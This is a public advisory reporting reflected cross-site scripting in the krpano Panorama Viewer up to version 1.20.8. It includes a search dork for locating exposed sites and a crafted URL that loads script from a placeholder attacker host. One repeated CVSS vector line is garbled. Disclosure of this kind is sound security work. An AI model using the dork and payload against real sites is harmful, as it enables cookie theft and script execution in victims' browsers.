# Exploit Title: XSS in krpano Panorama Viewer # Google Dork: inurl:krpano.html # Date: 10/05/2020 # Exploit Author: Adriano Marcio Monteiro (@adrianomarcmont) # Exploit Author Site: https://www.brztec.com # Exploit Author E-mail: [email protected] # Exploit Author Packetstorm Bio: https://packetstormsecurity.com/files/author/11063/ # Vendor Homepage: https://krpano.com/ # Software Link: https://krpano.com/download/ # Version: <=1.20.8 # Tested on: All # CVE : Requested # CVSS Severity: Medium # CVSS Score: 6.1 # CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N # CVSS Link: https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N # Disclosure Policy: 90-day deadline has expired and no response from the vendor. *XSS in **krpano Panorama Viewer * CVSS Severity: *Medium* CVSS Score: *6.1* CVSS Vector: CVSS:3.0/AV:N/AC:L/PRCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N:N/UI:R/S:C/C:L/I:L/A:N <https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N> *Description* krpano Panorama Viewer <=1.20.8 is vulnerable to a Reflected Cross-Site Scripting (XSS) vulnerability caused by improper validation of user supplied input when loading remote js and XML files in the default installation (krpano.html). *Impact* A remote attacker could exploit this vulnerability using a specially crafted URL to execute a script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked or visited. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials, force malware execution, user redirection and others. *Steps to Reproduce* Exploit example, from documentation tutorials: http://VICTIM_SITE/krpano.html?html5=only&preview.type=grid()&plugin[test].url=https://ATTACKER_SITE/labs/krpano/krpano.js&plugin[test].align=center&plugin[test].onclick=dosomething(hello,plugin)&onstart=showlog(); *Fix* Block remote load of js and XML files. Contact the vendor. *References* CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') https://cwe.mitre.org/data/definitions/79.html Best Regards./Atenciosamente. *Adriano Márcio Monteiro* Offensive Security Specialist [email protected] +55 31 99255-3329 <+55+31+99255-3329> https://www.brztec.com <https://www.brztec.com/> *Saiba das suas fraquezas antes do hackers.* *Know your weaknesses before hackers.* Pentests, Social Engineering, Training and Recruitment. *BRASIL *[email protected] +55 31 4042-7029 <+55+31+4042-7029> *U.S.A. *[email protected] +1 480 404-7029 <+1+480+404-7029> -- Esta mensagem pode conter informação confidencial ou privilegiada de propriedade da BRZTEC Informática, sendo seu sigilo protegido por lei. Se você não for o destinatário ou a pessoa autorizada a receber esta mensagem, não pode usar, copiar ou divulgar as informações nela contidas ou tomar qualquer ação baseada nessas informações. Se você recebeu esta mensagem por engano, por favor, avise imediatamente ao remetente, respondendo o e-mail e em seguida apague-a. Agradecemos sua cooperação.